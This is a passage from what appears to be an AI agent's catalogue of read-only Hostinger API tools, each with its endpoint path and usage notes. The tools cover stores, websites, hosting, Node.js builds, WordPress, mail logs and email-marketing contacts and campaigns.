/api/v1/hostinger/ecommerce/v1/stores. Scopes: api. hostinger_get_api_ecommerce_v1_stores_by_store_id_discounts (read) — List a store's discounts. Filter by free text over code and name, or by disabled state. Amounts for fixed discounts are integers in the smallest currency unit; percentage discounts carry a whole-number value between 1 and 100. GET /api/v1/hostinger/ecommerce/v1/stores/{store_id}/discounts. Scopes: api. hostinger_get_api_ecommerce_v1_stores_by_store_id_metadata (read) — Get a store's readiness metadata: whether payment methods and shipping are configured, plus its default currency. Useful to verify prerequisites before building a storefront. GET /api/v1/hostinger/ecommerce/v1/stores/{store_id}/metadata. Scopes: api. hostinger_get_api_ecommerce_v1_stores_by_store_id_orders (read) — List a store's orders newest first as summaries. Filter by status, payment or fulfilment status, customer email, order number or a free-text query. Amounts are in the smallest currency unit. Retrieve a single order for its line items, addresses and fulfilments. GET /api/v1/hostinger/ecommerce/v1/stores/{store_id}/orders. Scopes: api. hostinger_get_api_ecommerce_v1_stores_by_store_id_orders_by_order_id (read) — Retrieve one order in full: line items (each with the id the fulfil endpoint needs), addresses, the totals breakdown and fulfilments with tracking. Amounts are in the smallest currency unit. GET /api/v1/hostinger/ecommerce/v1/stores/{store_id}/orders/{order_id}. Scopes: api. hostinger_get_api_ecommerce_v1_stores_by_store_id_payment_providers (read) — List a store's payment providers, split into providers already connected to the store and gateways available to install. Never exposes gateway credentials, secrets, or configuration. GET /api/v1/hostinger/ecommerce/v1/stores/{store_id}/payment-providers. Scopes: api. hostinger_get_api_ecommerce_v1_stores_by_store_id_products (read) — List a store's products newest first as lean summaries (name, status, thumbnail, variant count and price range). Prices are integers in the smallest currency unit and live on variants. Filter by status, free text or a set of product ids. Use include=variants to embed each product's variants with prices and inventory, and include=media to embed its media. GET /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products. Scopes: api. hostinger_get_api_ecommerce_v1_stores_by_store_id_products_by_product_id_variants (read) — List a product's variants, ordered by rank, with their options, prices and inventory. Prices are integers in the smallest currency unit and live on variants. GET /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products/{product_id}/variants. Scopes: api. hostinger_get_api_ecommerce_v1_stores_by_store_id_sales_channels (read) — List a store's active sales channels with their full metadata. GET /api/v1/hostinger/ecommerce/v1/stores/{store_id}/sales-channels. Scopes: api. hostinger_get_api_horizons_v1_websites (read) — List the Hostinger Horizons websites the user owns.\n Use this tool when the user asks which websites they have, or when you need a website ID before editing, publishing or cloning a website.\n Each website is returned with its ID, status, domain and the URL to open it in Hostinger Horizons interface.\n The complete list of websites is returned in a single response - it is not paginated. GET /api/v1/hostinger/horizons/v1/websites. Scopes: api. hostinger_get_api_horizons_v1_websites_by_websiteid (read) — Get the link for the user to open their website in Hostinger Horizons interface.\n Use this tool when the user wants the link to an existing website, or when you need its website URL before or after editing it.\n Websites can be edited with the `Edit website` tool, or by the user in Hostinger Horizons interface in the provided website URL. GET /api/v1/hostinger/horizons/v1/websites/{websiteId}. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_cron_jobs (read) — Returns the list of cron jobs configured for the specified account, including their schedule and command. GET /api/v1/hostinger/hosting/v1/accounts/{username}/cron-jobs. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_cron_jobs_by_uid_output (read) — Returns the output captured from the last execution of the cron job identified by its uid. The uid is returned by the list cron jobs endpoint. GET /api/v1/hostinger/hosting/v1/accounts/{username}/cron-jobs/{uid}/output. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_databases (read) — Returns a paginated list of databases for the specified account. Use the domain and is_assigned filters to find databases assigned to a specific domain. GET /api/v1/hostinger/hosting/v1/accounts/{username}/databases. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_databases_by_name_phpmyadmin_link (read) — Returns a direct sign-on link to phpMyAdmin for the specified database. Use this when a visual database interface is needed for SQL queries, imports, exports, or table management. The database name must be the full name returned by the list databases endpoint. GET /api/v1/hostinger/hosting/v1/accounts/{username}/databases/{name}/phpmyadmin-link. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_databases_remote_connections (read) — Returns the remote-access rules for the specified account: the remote hosts (IPv4/IPv6 addresses, or "%" for any host) allowed to connect to the account databases. Use the domain filter to only return rules for databases assigned to a specific domain. GET /api/v1/hostinger/hosting/v1/accounts/{username}/databases/remote-connections. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_domains_by_domain_files (read) — List files and directories under a website's document root. Use `directory` to browse a subdirectory relative to the document root. Symlinked entries are listed but never traversed into or resolved. GET /api/v1/hostinger/hosting/v1/accounts/{username}/domains/{domain}/files. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_domains_by_domain_files_content (read) — Get a single file's content, relative to a website's document root. Read-only; refuses symlinks, oversized files, non-text file types, and files identified as containing secrets (e.g. credential files) — none of these are returned by this endpoint. GET /api/v1/hostinger/hosting/v1/accounts/{username}/domains/{domain}/files/content. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_git_auto_deployments_settings (read) — Returns the Git auto-deployment settings of the website: which repository and branch deploy into which directory, and whether pushes trigger a deployment. `is_enabled` false keeps the repository link but ignores pushes. When the website has no auto-deployment configured every field is null. Save settings with `Update Git auto-deployment settings`. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/git/auto-deployments/settings. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_builds (read) — Retrieve a paginated list of Node.js build processes for a specific website. Each build represents a single run of the Node.js build pipeline. Use the `states` query parameter to filter results by build state (pending, running, completed, failed). Use the `uuid` from a build to poll its output via the `Get Node.js Build Logs` endpoint. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/builds. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_builds_by_uuid (read) — Returns one build by UUID: its state (`pending`, `running`, `completed`, `failed`), the options it ran with and timestamps. Poll this while a build is pending or running. When it is failed, read `Get NodeJS build logs` and `Analyse failed Node.js build` for the cause. Returns 404 when the UUID does not belong to a build of this website. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/builds/{uuid}. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_builds_by_uuid_analysis (read) — Returns an AI analysis of why a build failed and how to fix it, based on the build logs, the project file list and package.json. Only builds in the `failed` state can be analysed; any other state returns 422. When no analysis could be produced both `analysis` and `solution` are null, in which case read `Get NodeJS build logs` instead. Each call runs the analysis again, so call it once per failed build and keep the result. Limited to 5 calls per minute per API client (429 above that). GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/builds/{uuid}/analysis. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_builds_by_uuid_logs (read) — Retrieve logs from a specific Node.js build process. To stream live output while a build is running, poll this endpoint repeatedly while the build state is `running`, passing the previously returned `lines` count as `from_line` to fetch only new output since the last call. Log content may contain ANSI escape sequences (color codes). GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/builds/{uuid}/logs. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_builds_settings (read) — Returns the build settings stored for the website: framework (`app_type`), Node.js version, root and output directory, build script, entry file and package manager. Stored settings drive Git auto-deployment builds. A build started through the API uses the values sent in that request and saves them here only when no settings exist yet. Returns 404 until the first build or the first settings update stores them. Use this after a failed build to check whether the framework or the entry file were detected wrong, then fix them with the `Update Node.js build settings` endpoint. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/builds/settings. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_builds_settings_env (read) — Lists the Node.js environment variables currently set for the website. Values are always masked as `` and cannot be read back through this API. Use this endpoint to see which keys are configured or to verify a change, not to read values. To change variables, use the `Replace Node.js environment variables` endpoint. It replaces the whole set, so never copy the masked values from this response into that request; send the full desired set with real values taken from the project `.env` file or the user prompt instead. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/builds/settings/env. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_builds_settings_from_archive (read) — Auto-detect Node.js build settings from a package.json inside an archive already on the server. Use this before calling `Start Node.js Build` to preview what settings will be used, or to let the user review and override values (framework, node version, root directory, output directory, build script) before committing to a build. The archive must already be present on the website's file storage. Use the `Generate Upload URL` endpoint to obtain credentials and upload the archive first. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/builds/settings/from-archive. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_runtime_logs (read) — Returns the Node.js application's runtime console log entries, oldest first, each with timestamp, level and message. On the first call send `period` (`1h`, `1d`, `1w` or `1m`) and optionally `levels` and `limit` (1-5000, default 1000); when more entries match than `limit`, the newest are kept. To poll for new entries send `total_lines + 1` from the previous response as `from_line` and omit `period`; `period` and `from_line` cannot be combined. Lines that are not JSON with a timestamp, level and message are skipped, so `logs` may hold fewer than `limit` entries while `total_lines` counts every raw line. Entries with a timestamp before `last_deployed_at` belong to the previous deployment. Returns an empty `logs` list when the application has not written a log file yet. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/runtime-logs. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_vulnerabilities (read) — Lists known npm package vulnerabilities detected on a Node.js website, enriched with advisory metadata (severity, CVSS score, CVE, advisory URL). Results are sorted from the most severe to the least severe, then by publish date (newest first). Use the `severities` query parameter to filter. Vulnerabilities with `is_patchable` set to `true` can be auto-fixed via the `Patch Node.js Vulnerabilities` endpoint, which opens a GitHub pull request with updated package versions. Auto-fix is only available for websites deployed from a connected GitHub repository. Vulnerabilities with `is_patching_in_progress` set to `true` are already included in an open patch pull request; while any patch pull request is open, new patch requests for this website are rejected until it is merged or closed. Data comes from periodic dependency scans, so it may lag behind the latest deployment. An empty list means the most recent scan found no vulnerabilities; it does not guarantee the current deployment is vulnerability-free. Available on Business and Cloud Hosting plans. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/vulnerabilities. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_parked_domains (read) — Retrieve all parked or alias domains created under the selected website. Use this endpoint to inspect parked domain configuration for a specific website, including the parent domain and root directory assigned to each parked domain. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/parked-domains. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_php_details (read) — Returns the full PHP configuration for the website: current version, available versions (supported and unsupported), enabled/disabled extensions, options with their current value, default, type and the plan limit (`max`), and conflicting extension groups. Use it to check the current PHP setup before updating the version, extensions or options. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/php/details. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_php_php_info (read) — Returns the full phpinfo page (HTML) for the website. Use it to debug PHP issues or inspect the complete PHP environment of the website. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/php/php-info. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_redirects (read) — Returns a paginated list of redirects configured for the selected website. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/redirects. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_ssl_status (read) — Returns the SSL state of the website: the certificate `status` and `provider`, whether the certificate is a lifetime one managed by the platform, whether HTTP requests are redirected to HTTPS, when the certificate stops being valid and the last installation error. `installing` and `waiting_for_retry` mean an installation is in progress. `failed` means the last installation gave up, or the website was not updated for 60 minutes while `installing`; `last_error` holds the reason when it is a known message, otherwise it is null. `expired` means the assigned certificate's validity has ended. `not_installed` means no certificate is assigned. Free subdomains use a platform-managed certificate: with no installation recorded they report `active` with `provider` and `expires_at` null. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/ssl/status. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_websites_by_domain_subdomains (read) — Retrieve all subdomains created under the selected website. Use this endpoint to inspect subdomain configuration for a specific website, including the parent domain and root directory assigned to each subdomain. GET /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/subdomains. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_wordpress_by_software_hostinger_plugins_ai_option_status (read) — Show the current AI option status for the Hostinger Tools plugin on the specified WordPress installation. Filter by `option` to return a single option, or omit it to return all options. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). GET /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/hostinger-plugins/ai-option/status. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_wordpress_by_software_jwt_token (read) — Return a JWT token used to authenticate requests against the specified WordPress installation, including its MCP (Model Context Protocol) endpoint. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). GET /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/jwt-token. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_wordpress_by_software_litespeed_cache_status (read) — Show the LiteSpeed Cache status for the specified WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). GET /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/litespeed-cache/status. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_wordpress_by_software_maintenance_status (read) — Show the maintenance mode status for the specified WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). GET /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/maintenance/status. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_wordpress_by_software_memcached_status (read) — Show the Memcached object cache status for the specified WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). GET /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/memcached/status. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_wordpress_by_software_plugins (read) — List plugins installed on a WordPress installation, including their status, available updates and known vulnerabilities. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). GET /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/plugins. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_wordpress_by_software_plugins_available (read) — List plugins recommended for installation on a WordPress installation that are not yet installed. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). GET /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/plugins/available. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_wordpress_by_software_themes (read) — List themes installed on a WordPress installation, including their status, available updates and known vulnerabilities. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). GET /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/themes. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_wordpress_by_software_updates (read) — List available WordPress core updates for the specified installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). GET /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/updates. Scopes: api. hostinger_get_api_hosting_v1_accounts_by_username_wordpress_by_software_version (read) — Show the WordPress core version for the specified installation, along with known vulnerabilities affecting it. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). GET /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/version. Scopes: api. hostinger_get_api_hosting_v1_datacenters (read) — Retrieve a list of datacenters available for setting up hosting plans based on available datacenter capacity and hosting plan of your order. The first item in the list is the best match for your specific order requirements. GET /api/v1/hostinger/hosting/v1/datacenters. Scopes: api. hostinger_get_api_hosting_v1_git_installations (read) — Lists the Git provider accounts the customer has connected. Only installations with status `active` are returned unless the `status` filter says otherwise. An empty list means the customer has no active installation. Check `status=suspended` and `status=pending` as well. If there is none at all, a Git provider (GitHub or GitLab) has to be connected once in hPanel (Websites, Manage, Advanced, Git; or Add Website, Node.js Web App, Import Git Repository); this endpoint then lists the new installation. Use `uuid` as the path parameter of `List Git installation repositories`, and as `installation_uuid` in `Start Node.js build` with `source_type` `git` and in `Update Git auto-deployment settings`. GET /api/v1/hostinger/hosting/v1/git/installations. Scopes: api. hostinger_get_api_hosting_v1_git_installations_by_uuid_repositories (read) — Lists the repositories the Git installation can access, read live from the provider. Works for github and gitlab installations. Use an active installation: a suspended or pending one is still queried and the call fails with whatever the provider answers. The list is cut at the first 500 repositories in the order the provider returns them; when the account has more, name the repository directly instead of searching this list. `owner`, `name` and a branch (`default_branch` or another one) go into `source_options` of `Start Node.js build` or into `Update Git auto-deployment settings`. Returns 404 when the installation does not belong to the customer. Limited to 10 calls per minute per API client (429 above that). GET /api/v1/hostinger/hosting/v1/git/installations/{uuid}/repositories. Scopes: api. hostinger_get_api_hosting_v1_orders (read) — Retrieve a paginated list of orders accessible to the authenticated client. This endpoint returns orders of your hosting accounts as well as orders of other client hosting accounts that have shared access with you. Use the available query parameters to filter results by order statuses or specific order IDs for more targeted results. GET /api/v1/hostinger/hosting/v1/orders. Scopes: api. hostinger_get_api_hosting_v1_websites (read) — Retrieve a paginated list of websites (CloudLinux, Builder, and Horizons) accessible to the authenticated client. This endpoint returns websites from your hosting accounts as well as websites from other client hosting accounts that have shared access with you. Each website includes a `website_type` field describing the type of website detected on the underlying platform (`wordpress`, `builder`, `horizons`, `nodejs`, or `other`). Some fields, such as `vhost_type`, `username`, and `root_directory`, only apply to CloudLinux websites and are null for other platforms. Use `website_types` to list only websites of a given detected type, e.g. only WordPress websites (`website_types=wordpress`) or only Node.js websites (`website_types=nodejs`). Combine with the other available query parameters to filter by username, order ID, enabled status, or domain name for more targeted results. GET /api/v1/hostinger/hosting/v1/websites. Scopes: api. hostinger_get_api_hosting_v1_wordpress_installations (read) — List WordPress installations accessible to the authenticated client. Use this endpoint to discover existing WordPress installations and to poll for installation status after calling the install endpoint. When a newly requested installation appears in this list, WordPress is ready. Filter by username and domain to narrow results to a specific website. Each installation includes a `valid` flag and, when invalid, a `validationError` describing why. GET /api/v1/hostinger/hosting/v1/wordpress/installations. Scopes: api. hostinger_get_api_hosting_v1_wordpress_plugins (read) — Search the WordPress.org plugin directory for plugins available to install. Use the returned `slug` values with POST /api/hosting/v1/accounts/{username}/wordpress/{software}/plugins/install. GET /api/v1/hostinger/hosting/v1/wordpress/plugins. Scopes: api. hostinger_get_api_hosting_v1_wordpress_plugins_is_woocommerce_installed (read) — Check whether WooCommerce is installed on any WordPress installation of a domain. Optionally filter by domain to scope the check. GET /api/v1/hostinger/hosting/v1/wordpress/plugins/is-woocommerce-installed. Scopes: api. hostinger_get_api_hosting_v1_wordpress_plugins_suggested (read) — List curated plugin suggestions grouped by website type. Use the returned `slug` values with POST /api/hosting/v1/accounts/{username}/wordpress/{software}/plugins/install. GET /api/v1/hostinger/hosting/v1/wordpress/plugins/suggested. Scopes: api. hostinger_get_api_hosting_v1_wordpress_themes (read) — List WordPress themes available to install. Use the returned `slug` values with POST /api/hosting/v1/accounts/{username}/wordpress/{software}/themes/install. GET /api/v1/hostinger/hosting/v1/wordpress/themes. Scopes: api. hostinger_get_api_mail_v1_api_tokens (read) — Retrieve a paginated list of Hostinger Email API (https://api.mail.hostinger.com/) tokens across all your mail orders, optionally filtered by order. Plaintext tokens are never included; they are returned only when a token is created. GET /api/v1/hostinger/mail/v1/api-tokens. Scopes: api. hostinger_get_api_mail_v1_orders (read) — Retrieve a paginated list of mail orders associated with your account. Use this endpoint to monitor your mail services, including their status, plan, attached domain, and expiration details. GET /api/v1/hostinger/mail/v1/orders. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_aliases (read) — Retrieve a paginated list of aliases across all mailboxes of a mail order. GET /api/v1/hostinger/mail/v1/orders/{orderId}/aliases. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_autoreplies (read) — Retrieve a paginated list of autoreplies across all mailboxes of a mail order. GET /api/v1/hostinger/mail/v1/orders/{orderId}/autoreplies. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_catchalls (read) — Retrieve a paginated list of catch-alls across all mailboxes of a mail order. GET /api/v1/hostinger/mail/v1/orders/{orderId}/catchalls. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_forwarders (read) — Retrieve a paginated list of forwarders across all mailboxes of a mail order. GET /api/v1/hostinger/mail/v1/orders/{orderId}/forwarders. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_logs_access (read) — Retrieve paginated access logs for the domain attached to the given mail order. Supports filtering by account, date range, protocol, status, and deletion flag. Results are sorted by timestamp descending. GET /api/v1/hostinger/mail/v1/orders/{orderId}/logs/access. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_logs_action (read) — Retrieve paginated account action logs (administrative and user actions) for the given mail order. Supports filtering by account, date range, and status. Results are sorted by timestamp descending. GET /api/v1/hostinger/mail/v1/orders/{orderId}/logs/action. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_logs_inbound (read) — Retrieve paginated inbound (received mail) delivery logs for the domain attached to the given mail order. Supports filtering by account, date range, status, sender, and recipient. Results are sorted by timestamp descending. GET /api/v1/hostinger/mail/v1/orders/{orderId}/logs/inbound. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_logs_mailbox_actions (read) — Retrieve paginated mailbox action logs (message and mailbox events) for a mailbox in the given mail order. The mailbox email must belong to the order's domain. Supports date range and event type filters. Results are sorted by timestamp descending. GET /api/v1/hostinger/mail/v1/orders/{orderId}/logs/mailbox-actions. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_logs_outbound (read) — Retrieve paginated outbound (sent mail) delivery logs for the domain attached to the given mail order. Supports filtering by account, date range, status, sender, and recipient. Results are sorted by timestamp descending. GET /api/v1/hostinger/mail/v1/orders/{orderId}/logs/outbound. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_mailboxes (read) — Retrieve a paginated list of mailboxes belonging to a mail order. Use this endpoint to monitor mailboxes of your mail service, including their status, enabled protocols, attached resource counts, and periodically synced usage numbers (usage may lag behind live values). GET /api/v1/hostinger/mail/v1/orders/{orderId}/mailboxes. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_plan (read) — Retrieve the plan the given mail order was purchased with, including domain-level and mailbox-level quotas, limits, and protocol availability. GET /api/v1/hostinger/mail/v1/orders/{orderId}/plan. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_webhooks (read) — Retrieve a paginated list of webhooks belonging to the given mail order. Supports filtering by mailbox and status. The webhook secret is never included; it is returned only when a webhook is created or its secret is regenerated. GET /api/v1/hostinger/mail/v1/orders/{orderId}/webhooks. Scopes: api. hostinger_get_api_mail_v1_orders_by_orderid_webhooks_delivery_logs (read) — Retrieve a paginated list of webhook delivery logs for the given mail order, including delivery outcome, duration, and retry counts. Supports filtering by mailbox. GET /api/v1/hostinger/mail/v1/orders/{orderId}/webhooks/delivery-logs. Scopes: api. hostinger_get_api_mail_v1_webhooks_by_webhookid (read) — Retrieve the details of a single webhook. The webhook secret is never included; it is returned only when a webhook is created or its secret is regenerated. GET /api/v1/hostinger/mail/v1/webhooks/{webhookId}. Scopes: api. hostinger_get_api_reach_v1_contacts (read) — Get a list of contacts, optionally filtered by group and subscription status. This endpoint returns a paginated list of contacts with their basic information. You can filter contacts by group UUID and subscription status. Deprecated. This endpoint cannot target a profile, so it always falls back to the client's default profile and cannot list contacts of any other profile. Use `GET /api/reach/v1/profiles/{profileUuid}/contacts` instead, which also replaces the group filter with a tag filter. DEPRECATED by Hostinger; it still answers, but prefer the current replacement in the same product family. GET /api/v1/hostinger/reach/v1/contacts. Scopes: api. hostinger_get_api_reach_v1_contacts_groups (read) — Get a list of all contact groups. This endpoint returns a list of contact groups that can be used to organize contacts. DEPRECATED by Hostinger; it still answers, but prefer the current replacement in the same product family. GET /api/v1/hostinger/reach/v1/contacts/groups. Scopes: api. hostinger_get_api_reach_v1_profiles (read) — This endpoint returns all profiles available to the client, including their basic information. GET /api/v1/hostinger/reach/v1/profiles. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_automations (read) — Get a paginated list of the automations in a profile. Every automation comes with the counts of contacts that entered it, are moving through it, finished it or failed on the way. Those counts describe the contact journey and are not email engagement metrics - for opens, clicks and unsubscribes use the campaign statistics endpoint instead. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/automations. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_automations_by_automationuuid (read) — Get a single automation with the counts of contacts that entered it, are moving through it, finished it or failed on the way. This describes the automation itself. To see the workflow it runs, use the steps endpoint. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/automations/{automationUuid}. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_automations_by_automationuuid_steps (read) — Get the workflow of an automation as a flat list of steps. The steps form a tree rather than a straight line: follow `parent_uuid` to reconstruct the branches, and use `step_order` to order the steps that share a parent. An automation with no steps yet returns an empty list. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/automations/{automationUuid}/steps. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_campaigns (read) — Get a paginated list of the campaigns in a profile. Each campaign carries its headline engagement rates. Filter by status to find drafts, scheduled, sending or sent campaigns, keeping in mind that a fully sent campaign has the status `publish`. By default only regular campaigns are returned - pass `type` to get the emails sent by automations or the double opt-in confirmations instead. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/campaigns. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_campaigns_by_campaignuuid (read) — Get a single campaign with its sender, subject, template reference, targeting and delivery progress. This describes how the campaign was set up and how far it has got. For opens, clicks and unsubscribes use the campaign statistics endpoint. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/campaigns/{campaignUuid}. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_campaigns_by_campaignuuid_statistics (read) — Get the performance of a campaign: delivery, opens, clicks and unsubscribes, with the matching rates. Every count is unique contacts rather than raw events, so a contact who opens the same email five times is counted once. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/campaigns/{campaignUuid}/statistics. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_contacts (read) — Get a paginated list of contacts belonging to a profile. Contacts can be filtered by subscription status, by tag, and by an email search term. The `meta.total` field of the response is the number of contacts matching the filters, so calling this endpoint without filters gives the profile's total contact count. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/contacts. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_contacts_by_contactuuid (read) — Get the full details of a single contact. Alongside the contact's own attributes this returns the tags assigned to it and the values it holds for the profile's custom contact fields. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/contacts/{contactUuid}. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_contacts_fields (read) — Get the custom contact fields defined in a profile. Custom fields let you store your own attributes on contacts. The returned uuids are what you pass to the contact update endpoint to set values, and choice fields also list the options available to pick from. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/contacts/fields. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_domains (read) — Get the sending domain connected to the profile, its verification status and any suspended sender addresses. Campaigns only go out once a domain is connected and active, so this is the cheapest way to check that precondition before building one. A profile with no domain connected returns the same shape with every field set to `null`. For the individual MX, SPF, DKIM and DMARC records behind the status, use the DNS status endpoint. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/domains. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_domains_dns_status (read) — Retrieve the DNS configuration status for a profile's domain. This endpoint reports the state of MX, SPF, DKIM and DMARC records, including the actual records found and the suggested records required for correct email delivery. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/domains/dns-status. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_features (read) — List which plan features the profile can use. This is the feature lock matrix, not a usage quota. `available` means the feature can be used right now and `locked` means it is not part of the base plan, so an upgrade is needed. For remaining emails, recipients and AI credits use the limits endpoint instead. Worth checking before building something that cannot be activated afterwards, such as an automation on a plan without automation activation. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/features. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_forms (read) — Get a paginated list of the signup forms in a profile. Each form carries a reference to the template that renders it. Get the form details for a directly usable template URL and for the tags the form puts on the contacts it captures. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/forms. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_forms_by_formuuid (read) — Get a single form with the URL of its hosted template and the tags it applies to the contacts it captures. There is no ready-made embed snippet in the response - either serve the template HTML yourself or build your own embed around the form uuid. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/forms/{formUuid}. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_limits (read) — Get how much of the plan is left for the current period. Two things to keep in mind before you build alerting on this. The period is a calendar month rather than a billing anniversary, so the counters reset on the 1st no matter when the subscription started. And usage is tracked per order, so every profile on the same order shares one pool and reports the same numbers here. Only the current period is available, past usage is not kept. GET /api/v1/hostinger/reach/v1/profiles/{profileUuid}/limits. Scopes: api. hostinger_get_api_reach_v1_profiles_by_profileuuid_segmentation_filters_attributes (read) — List every attribute a segment condition can filter on, with the operators each attribute accepts, the value format they expect and, where the value is constrained, the allowed values. The list is profile specific: it includes the 